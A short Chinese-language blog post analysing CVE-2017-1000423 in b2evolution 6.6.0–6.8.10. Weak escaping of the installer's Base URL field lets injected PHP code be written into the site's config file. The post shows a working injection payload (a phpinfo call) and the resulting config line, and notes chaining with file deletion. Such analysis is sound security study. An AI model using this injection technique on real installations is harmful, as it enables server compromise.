0x00前言
好久没有更新博客了,看到b2evolution6.6.0 - 6.8.10被爆出安装过程过滤不严导致Getshell漏洞(CVE-2017-1000423),简单分析一下。
0x01复现环境搭建
1 | git clone https://github.com/b2evolution/b2evolution.git |
0x02分析过程
1.请求http://localhost/b2evolution/install/index.php?action=start
2.输入Base URL的值如下(需要有效的数据库配置)
1 | http://localhost/b2evolution/\\';phpinfo();// |
3.处理过程跟进install/_functions_install.php
1 | #第1899行 |
其中针对baseurl的处理如下,即替换单引号'
为\'
:
1 | "baseurl = '".str_replace( "'", "\'", $params['baseurl'] )."';" |
字符串baseurl处理后如下:1
http://localhost/b2evolution/\\\';phpinfo();//
所以导致了单引号的逃逸,紧接着调用save_to_file存入/conf/_basic_config.php文件。
4.打开/conf/_basic_config.php文件内容如下:1
$baseurl = 'http://localhost/b2evolution/\\';phpinfo();//';
5.shell地址:1
http://localhost/b2evolution/
0x03小结
这个漏洞需要在重装的时候才能利用,可以结合任意文件删除漏洞利用。